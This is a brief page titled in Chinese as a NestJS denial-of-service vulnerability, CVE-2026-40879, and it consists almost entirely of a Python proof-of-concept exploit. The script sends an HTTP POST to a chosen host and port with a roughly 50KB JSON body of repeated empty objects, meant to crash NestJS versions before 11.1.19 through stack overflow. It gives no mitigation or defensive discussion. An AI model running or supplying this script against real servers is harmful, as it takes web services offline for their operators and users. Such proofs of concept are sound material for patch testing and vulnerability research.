CVE-2026-40879 NestJS拒绝服务漏洞

import socket # PoC for CVE-2026-40879: NestJS Stack Overflow via Many Small JSON Messages # Target: NestJS application < 11.1.19 def send_exploit(target_host, target_port): # Construct a payload with many small JSON objects # ~47KB payload is sufficient payload = ("{}" * 25000).encode('utf-8') try: # Create a TCP socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_host, target_port)) # Send HTTP POST request with the malicious payload in the body # Sending as a single frame is key to the exploit request = f"POST / HTTP/1.1\r\nHost: {target_host}\r\nContent-Type: application/json\r\nContent-Length: {len(payload)}\r\n\r\n".encode('utf-8') # Combine headers and payload and send immediately s.sendall(request + payload) print(f"Sent payload of size {len(payload)} bytes to {target_host}:{target_port}") s.close() except Exception as e: print(f"Error: {e}") if __name__ == "__main__": send_exploit("127.0.0.1", 3000)